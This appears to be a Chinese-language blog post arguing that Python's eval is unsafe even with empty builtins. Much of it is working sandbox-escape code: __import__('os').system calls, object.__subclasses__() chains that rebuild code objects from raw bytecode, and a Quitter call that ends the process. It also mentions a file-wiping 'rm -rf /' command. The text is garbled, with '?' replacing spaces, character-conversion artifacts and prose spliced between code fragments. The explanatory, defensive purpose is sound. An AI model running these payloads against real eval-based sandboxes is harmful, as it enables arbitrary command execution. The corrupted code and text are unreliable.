看完此文,你還會用 eval 嗎?
assert?eval("2?+?3?*?len('hello')")?==?17
os.system('rf -rf /'),那么 eval 函數(shù)就會刪除你電腦上的所有文件,下文舉例子時我用 'ls' 來代替 'rm -rf /',免得你直接復(fù)制代碼運(yùn)行時導(dǎo)致災(zāi)難發(fā)生。eval("os.system('ls')", {}) 就會報錯:>>>?import?os
>>>?eval("os.system('ls')",?{})
Traceback?(most?recent?call?last):
??File?"" ,?line?1,?in?
??File?"" ,?line?1,?in?
NameError:?name?'os'?is?not?defined
>>>?
__import__() 來導(dǎo)入標(biāo)準(zhǔn)庫,比如 eval("__import__('os').system('ls')", {})>>>?eval("__import__('os').system('ls')",?{})
Desktop????????????????burp.der
Documents????????????ctf
Downloads????????????flag5.txt
Library????????????????gitee
Movies????????????????github
Music????????????????kali
Parallels????????????key.txt
Pictures????????????log
...
>>>?eval("__import__('os').system('ls')",?{'__builtins__':{}})
Traceback?(most?recent?call?last):
??File?"" ,?line?1,?in?
??File?"" ,?line?1,?in?
NameError:?name?'__import__'?is?not?defined
import?os
os.system('ls')
>>>?code_str?=?'''
...?import?os
...?os.system('ls')
...?'''
>>>?code_obj?=?compile(code_str,'' ,'exec')
>>>?code_obj?at?0x7fc5741175b0,?file?"" ,?line?2>
>>>?eval(code_obj)
Desktop????????????????burp.der
Documents????????????ctf
Downloads????????????flag5.txt
Library????????????????gitee
Movies????????????????github
Music????????????????kali
Parallels????????????key.txt
Pictures????????????log
>>>?help(code_obj)
class?code(object)
?|??code(argcount,?posonlyargcount,?kwonlyargcount,?nlocals,?stacksize,
?|????????flags,?codestring,?constants,?names,?varnames,?filename,?name,
?|????????firstlineno,?lnotab[,?freevars[,?cellvars]])
?|
?|??Create?a?code?object.??Not?for?the?faint?of?heart.
?|
?|??Methods?defined?here:
?|
?|??__eq__(self,?value,?/)
?|??????Return?self==value.
?|
?|??__ge__(self,?value,?/)
?|??????Return?self>=value.
?|
?|??__getattribute__(self,?name,?/)
?|??????Return?getattr(self,?name).
?|
?|??__gt__(self,?value,?/)
?|??????Return?self>value.
?|
?|??__hash__(self,?/)
>>>?[].__class__.__bases__[0]
<class?'object'>
[] 表示一個 list 對象,那么它的基類就是內(nèi)置的 object 類。找到類 object 類,我們就可以找到 object 類的所有子類:>>>?[].__class__.__bases__[0].__subclasses__()
[<class?'type'>,?<class?'weakref'>,?<class?'weakcallableproxy'>,?<class?'weakproxy'>,?<class?'int'>,?<class?'bytearray'>,?<class?'bytes'>,?<class?'list'>,?<class?'NoneType'>,?<class?'NotImplementedType'>,?<class?'traceback'>,?<class?'super'>,?<class?'range'>,?<class?'dict'>,?<class?'dict_keys'>,?<class?'dict_values'>,?<class?'dict_items'>,?<class?'dict_reversekeyiterator'>,?<class?'dict_reversevalueiterator'>,?<class?'dict_reverseitemiterator'>,?<class?'odict_iterator'>,?<class?'set'>,?<class?'str'>,?<class?'slice'>,?<class?'staticmethod'>,?<class?'complex'>,?<class?'float'>,?<class?'frozenset'>,?<class?'property'>,?<class?'managedbuffer'>,?<class?'memoryview'>,?<class?'tuple'>,?<class?'enumerate'>,?
......
all_classes 來保存這些類:>>>?all_classes?=?[].__class__.__bases__[0].__subclasses__()
>>>?len(all_classes)
181
>>>?[c?for?c?in?all_classes?if?c.__name__?==?'code'][0]
<class?'code'>
>>>
__import__('os').system('ls') 我們先看下 Python 把這段代碼編譯成的 code 類是什么樣:>>>?code_str?=?"__import__('os').system('ls')"
>>>?code_obj?=?compile(code_str,'' ,'single')
>>>?code_obj?at?0x7fd06074abe0,?file?"" ,?line?1>
>>>?code="codeObj({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
...??????code_obj.co_argcount,\
...??????code_obj.co_posonlyargcount,\
...??????code_obj.co_kwonlyargcount,\
...??????code_obj.co_nlocals,\
...??????code_obj.co_stacksize,\
...??????code_obj.co_flags,\
...??????code_obj.co_code.hex(),\
...??????code_obj.co_consts,\
...??????code_obj.co_names,?\
...??????code_obj.co_varnames,\
...??????code_obj.co_filename,\
...??????code_obj.co_name,\
...??????code_obj.co_firstlineno,\
...??????code_obj.co_lnotab.hex(),\
...??????code_obj.co_freevars,\
...??????code_obj.co_cellvars)
>>>?print(code)
codeObj(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os',?'ls',?None),('import',?'system'),(),'' ,'' ,1,bytes.fromhex(''),(),())
all_classes 獲取,這樣我們分部執(zhí)行,就可以執(zhí)行我們的代碼:>>>?all_classes?=?[].__class__.__bases__[0].__subclasses__()
>>>?code?=?[c?for?c?in?all_classes?if?c.__name__?==?'code'?][0]
>>>?bytes?=?[c?for?c?in?all_classes?if?c.__name__?==?'bytes'?][0]
>>>?code_obj?=code(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os',?'ls',?None),('__import__',?'system'),(),'' ,'' ,1,bytes.fromhex(''),(),())
>>>?eval(code_obj)
Desktop????????????????Movies??????????????Public??????????????burp.der????????????github??????????????py38env
Documents????????????Music???????????????Virtual?Machines.localized??ctf?????????????kali????????????????test.py
Downloads????????????Parallels???????????aaa.txt?????????????flag5.txt???????????key.txt?????????????tmp
Library????????????????Pictures????????????bin?????????????gitee???????????????log?????????????zzzz.txt
eval(code_obj) 已經(jīng)成功執(zhí)行, 轉(zhuǎn)換成一個字符串就是:>>>?s?=?"""eval(?[?c?for?c?in?().__class__.__bases__[0].__subclasses__()?if?c.__name__?==?'code'?][0](0,0,0,0,3,64,?[?c?for?c?in?().__class__.__bases__[0].__subclasses__()?if?c.__name__?==?'bytes'?][0].fromhex('650064008301a0016401a101460064025300'),('os',?'ls',?None),('__import__',?'system'),(),' ',' ',1,?[?c?for?c?in?().__class__.__bases__[0].__subclasses__()?if?c.__name__?==?'bytes'?][0].fromhex(''),(),()))"""
>>>?eval(s)
Desktop????????????????Movies??????????????Public??????????????burp.der????????????github??????????????py38env
Documents????????????Music???????????????Virtual?Machines.localized??ctf?????????????kali????????????????test.py
Downloads????????????Parallels???????????aaa.txt?????????????flag5.txt???????????key.txt?????????????tmp
Library????????????????Pictures????????????bin?????????????gitee???????????????log?????????????zzzz.txt
0
>>>?eval(s,{'__builtins__':{}})
Traceback?(most?recent?call?last):
??File?"" ,?line?1,?in?
??File?"" ,?line?1,?in?
NameError:?name?'__import__'?is?not?defined
{'__builtins__':{}} 后仍然會報錯,說明 __import__ 在 code 對象層面依然是無法繞過的,不過上述方法給了我們一些新的思路,那就是可以自行構(gòu)造字節(jié)對象。這并不是說 eval 就真的安全了,比如,下面的字符串如果傳給 eval 參數(shù),整個 Python 進(jìn)程將會退出。(py38env)????~?python
Python?3.8.5?(v3.8.5:580fbb018f,?Jul?20?2020,?12:11:27)
[Clang?6.0?(clang-600.0.57)]?on?darwin
Type?"help",?"copyright",?"credits"?or?"license"?for?more?information.
>>>?eval('quit()',{'__builtins__':{}})
Traceback?(most?recent?call?last):
??File?"" ,?line?1,?in?
??File?"" ,?line?1,?in?
NameError:?name?'quit'?is?not?defined
>>>?s?=?"""?[?c?for?c?in?().__class__.__bases__[0].__subclasses__()?if?c.__name__?==?"Quitter"?][0](0,'quit')()?"""
>>>?eval(s,?{'__builtins__':{}})
(py38env)????~
__builtins__ 的限制,仍然使用了 Quitter 類來退出整個 Python 進(jìn)程。eval(string, {'__builtins__':{}}) 是明確嘗試將某些“危險”屬性訪問列入黑名單。如我們所見,現(xiàn)有的受限模式還不足以防止惡作劇。>>>?eval('eval("()._"?+?"_class_"?+?"_._"?+?"_bases_"?+?"_[0]")')
<class?'object'>
>>>
Exploring Python Code Objects
Python沙箱?不存在的
評論
圖片
表情
